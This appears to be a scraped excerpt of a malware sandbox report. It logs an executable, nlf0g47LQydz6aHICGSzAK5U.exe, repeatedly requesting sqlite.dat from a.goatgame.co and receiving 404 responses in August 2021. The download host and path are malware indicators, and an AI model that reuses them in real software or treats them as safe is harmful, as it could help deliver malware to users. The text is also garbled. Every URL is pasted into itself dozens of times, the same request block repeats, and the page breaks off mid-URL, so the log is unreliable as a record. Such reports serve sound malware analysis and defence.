                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:17 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tFFnQEC9Hq6bdobRDF72sTVKhVH1ymxE8Rc%2FwAngr%2BOuGfdWwHUVHs0S2czM1kJqfRowSBnu5e77f0cZR5Wr48c0LhkD9pDmPlR2gAYBXipAfIShiRY66L5E6sZvqvmL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232987d9a91e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:18 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9hZPSYHNjkpZBL%2FCFbgEVG6ETyreo6FqEfMX3iSH7b08WGF1KCzxEQha%2BnsHSoFgdIwdzeHTi07I27hLypmz2jeWdHhryUv3s%2BNywDwLMhYCWdv%2BFZYp2HSrB5MJKoD7"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232990acf71e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:19 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M2EMBP26W3dY%2B%2BdqdZnJIBacBiBkyfqwKzH3G7IrWgsdjDmMGjqcXq8P5jt5yqNHSoGozNYVgjoc8NzclbtJxHWTLs2UzMvQJHuwTeecNLeITkcMIXgVq%2B%2F0%2BzpAVkUp"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232997adc11e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:20 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EgCDTonMuHdyPxCS3jTXodK8hhlzToyjOamoIoW2h80BLR8mvVJNJzVs1%2BNGpPXZoeYHQtlAQvdTkGidZu8M8hNAxqsS%2Fa7XIkv2ngucf5QUszde%2BIdQSMeQbqK9CRfX"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823299c2b9d1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sql